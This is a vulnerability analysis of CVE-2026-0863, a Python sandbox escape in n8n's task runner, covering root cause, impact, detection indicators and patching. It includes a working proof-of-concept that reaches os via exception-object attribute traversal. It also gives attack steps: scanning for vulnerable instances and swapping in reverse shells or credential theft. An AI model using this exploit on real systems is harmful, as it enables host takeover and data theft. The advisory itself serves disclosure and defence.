CVE-2026-0863: 
NixOS vulnerability analysis and mitigation

CVE-2026-0863 is a Python sandbox escape vulnerability in the n8n workflow automation platform's python-task-executor component, allowing authenticated users with basic permissions to execute arbitrary unrestricted Python code on the underlying operating system. It was discovered by Natan Nehorai of the JFrog Security Research Team and published on January 18, 2026. Affected versions include all n8n releases up to and including 1.123.14, versions 2.0.0–2.3.5, and versions 2.4.0–2.4.2. The NVD assigns a CVSS v3.1 base score of 9.9 (Critical), while the CNA (JFrog) rates it 8.5 (High) (JFrog Advisory, NVD).

The root cause is improper neutralization of directives in dynamically evaluated code (CWE-95) and improper control of code generation (CWE-94). The n8n Python task runner implements a sandbox intended to restrict dangerous operations, but the sandbox's attribute access controls can be bypassed using Python's f-string formatting combined with exception handling. Specifically, an attacker crafts a helper function that uses an f-string format call (e.g., f'{{0.{attribute}.ribbit}}'.format(obj)) to trigger an AttributeError; the resulting exception object's .obj attribute — which was not blocked by the sandbox's denylist — exposes the original object, enabling traversal up the Python call stack to access __traceback__, tb_frame, f_builtins, and ultimately the __import__ built-in. The fix, committed to the n8n repository, adds "obj" to the blocked attribute list in constants.py (GitHub Patch, JFrog Advisory).

On instances running in "Internal" execution mode, successful exploitation grants the attacker full control of the n8n host, with high confidentiality, integrity, and availability impact — effectively a complete instance takeover. In "External" execution mode (e.g., n8n's official Docker image), arbitrary code execution is confined to an isolated Sidecar container rather than the main node, significantly limiting the blast radius. The vulnerability enables data exfiltration, credential theft, lateral movement within the host network, and persistent backdoor installation on uncontained deployments (JFrog Advisory, Feedly).

A public proof-of-concept (PoC) exploit is available and was published by JFrog alongside the advisory on January 18, 2026. The exploit requires only a low-privileged authenticated account and no user interaction, making it accessible to any user with Code block access. The EPSS score is approximately 0.065% as of the latest data, suggesting limited automated exploitation activity to date. No CISA KEV catalog listing or confirmed in-the-wild exploitation has been reported, and no specific threat actor attribution has been made (JFrog Advisory, SmartKeys, Feedly).

1. Reconnaissance: Identify n8n instances running in "Internal" execution mode on versions ≤1.123.14, 2.0.0–2.3.5, or 2.4.0–2.4.2 using Shodan, Censys, or similar tools. Confirm the instance is accessible and that Code block execution with Python (Native) is enabled.
2. Authenticate: Log in to the n8n instance using any valid account with basic permissions (no admin rights required).
3. Open a Code block: Create or edit a workflow and add a "Code" node configured to use "Python (Native)" mode.
4. Inject the sandbox escape payload: Enter the following PoC code into the Code block:

def new_getattr(obj, attribute, *, Exception):
    try:
        f'{{0.{attribute}.ribbit}}'.format(obj)
    except Exception as e:
        return e.obj

try:
    raise ValueError("pwn")
except Exception as e:
    tb = new_getattr(e, '__traceback__', Exception=Exception)
    frame = new_getattr(tb, 'tb_frame', Exception=Exception)
    builtins = new_getattr(frame, 'f_builtins', Exception=Exception)
    us = chr(95)
    imprt = builtins[us+us+'import'+us+us]
    import_globals = new_getattr(imprt, '__globals__', Exception=Exception)
    os = import_globals['os']
    return [{"json": { "uname": os.uname() }}]

5. Execute and escalate: Run the workflow. The output will contain the host's uname information, confirming OS-level code execution. Replace os.uname() with arbitrary OS commands (e.g., reverse shell, credential harvesting, file exfiltration) to achieve the desired objective (JFrog Advisory).

• Logs: n8n execution logs showing Python Code block runs containing f-string formatting patterns with .obj attribute access, __traceback__, tb_frame, or f_builtins references; unusual workflow execution results containing OS-level data (e.g., uname output, /etc/passwd contents).
• Process: Unexpected child processes spawned by the n8n Python task runner process (e.g., sh, bash, curl, wget, python3) performing network connections or file operations outside normal workflow scope.
• Network: Outbound connections from the n8n host or Sidecar container to unknown external IPs, particularly on non-standard ports, initiated by the Python task runner process.
• File System: New files or scripts written to the n8n working directory or /tmp by the task runner process; unexpected cron jobs or systemd units created under the n8n service account; SSH authorized_keys modifications.
• Workflow Artifacts: Workflows containing Code blocks with obfuscated Python using chr() calls, f-string attribute traversal patterns, or references to __import__, __builtins__, or os module access via exception objects (JFrog Advisory, GitHub Patch).

Upgrade n8n to a patched version: the fix was committed in GitHub commit b73a428, which adds "obj" to the blocked attribute denylist in the Python task runner. Users should upgrade to versions beyond 1.123.14 (1.x branch), 2.3.5 (2.0–2.3 branch), or 2.4.2 (2.4 branch). As an interim workaround: deploy n8n using "External" execution mode (e.g., the official Docker image) to confine any exploitation to an isolated Sidecar container; restrict Code block access to trusted users only by reviewing and tightening user permissions; and audit existing workflows for suspicious Python Code block content (JFrog Advisory, GitHub Patch).

The vulnerability received significant coverage from security media outlets including BleepingComputer, The Hacker News, Infosecurity Magazine, CSO Online, and Security Boulevard, with multiple articles highlighting the risk to the estimated 59,000–100,000 exposed n8n instances (BleepingComputer, The Hacker News). JFrog's Security Research Team, who discovered and disclosed the vulnerability, published a detailed technical write-up and PoC, and the issue was also covered by SOCRadar and Orca Security in the context of related n8n sandbox flaws (CVE-2026-1470) (JFrog RCE Post, SOCRadar). VulnCheck noted the vulnerability's absence from the CISA KEV catalog despite its severity (VulnCheck). Community reaction on social media (Mastodon, Bluesky, LinkedIn) was notable, with security practitioners emphasizing the risk to self-hosted deployments running in Internal mode.